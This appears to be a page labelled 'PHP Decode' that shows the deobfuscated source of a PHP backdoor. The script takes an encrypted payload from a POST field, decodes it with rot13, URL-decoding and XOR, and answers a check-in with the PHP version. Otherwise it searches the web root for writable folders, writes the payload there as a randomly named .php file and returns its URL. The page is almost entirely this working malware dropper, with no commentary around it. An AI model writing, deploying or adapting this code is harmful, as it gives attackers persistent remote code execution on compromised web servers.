PHP Decode

<?php 
$jyzra = "gvlnrmbmwlatnmuy"; 
$ywjvrm = ""; 
 
foreach($_POST as $cglcpx => $zmisdbua) 
	{ 
	if (strlen($cglcpx) == 16 and substr_count($zmisdbua, "%") > 10) 
		{ 
		yddemj($cglcpx, $zmisdbua); 
		} 
	} 
 
function yddemj($cglcpx, $bjdrrokyr) 
	{ 
	global $ywjvrm; 
	$ywjvrm = $cglcpx; 
	$bjdrrokyr = str_split(rawurldecode(str_rot13($bjdrrokyr))); 
	function yzuonku($zkwzkvh, $cglcpx) 
		{ 
		global $jyzra, $ywjvrm; 
		return $zkwzkvh ^ $jyzra[$cglcpx % strlen($jyzra) ] ^ $ywjvrm[$cglcpx % strlen($ywjvrm) ]; 
		} 
 
	$bjdrrokyr = implode("", array_map("yzuonku", array_values($bjdrrokyr) , array_keys($bjdrrokyr))); 
	$bjdrrokyr = @unserialize($bjdrrokyr); 
	if (@is_array($bjdrrokyr)) 
		{ 
		$cglcpx = array_keys($bjdrrokyr); 
		$bjdrrokyr = $bjdrrokyr[$cglcpx[0]]; 
		if ($bjdrrokyr === $cglcpx[0]) 
			{ 
			echo @serialize(Array( 
				'php' => @phpversion() , 
			)); 
			exit(); 
			} 
		  else 
			{ 
			function bcfef($wyavgvkir) 
				{ 
				static $rxnun = array(); 
				$fkgxx = glob($wyavgvkir . '/*', GLOB_ONLYDIR); 
				if (count($fkgxx) > 0) 
					{ 
					foreach($fkgxx as $wyavgvk) 
						{ 
						if (@is_writable($wyavgvk)) 
							{ 
							$rxnun[] = $wyavgvk; 
							} 
						} 
					} 
 
				foreach($fkgxx as $wyavgvkir) bcfef($wyavgvkir); 
				return $rxnun; 
				} 
 
			$amcgqayars = $_SERVER["DOCUMENT_ROOT"]; 
			$fkgxx = bcfef($amcgqayars); 
			$cglcpx = array_rand($fkgxx); 
			$zhppmzezsi = $fkgxx[$cglcpx] . "/" . substr(md5(time()) , 0, 8) . ".php"; 
			@file_put_contents($zhppmzezsi, $bjdrrokyr); 
			echo "http://" . $_SERVER["HTTP_HOST"] . substr($zhppmzezsi, strlen($amcgqayars)); 
			exit(); 
			} 
		} 
	} 
 
 ?>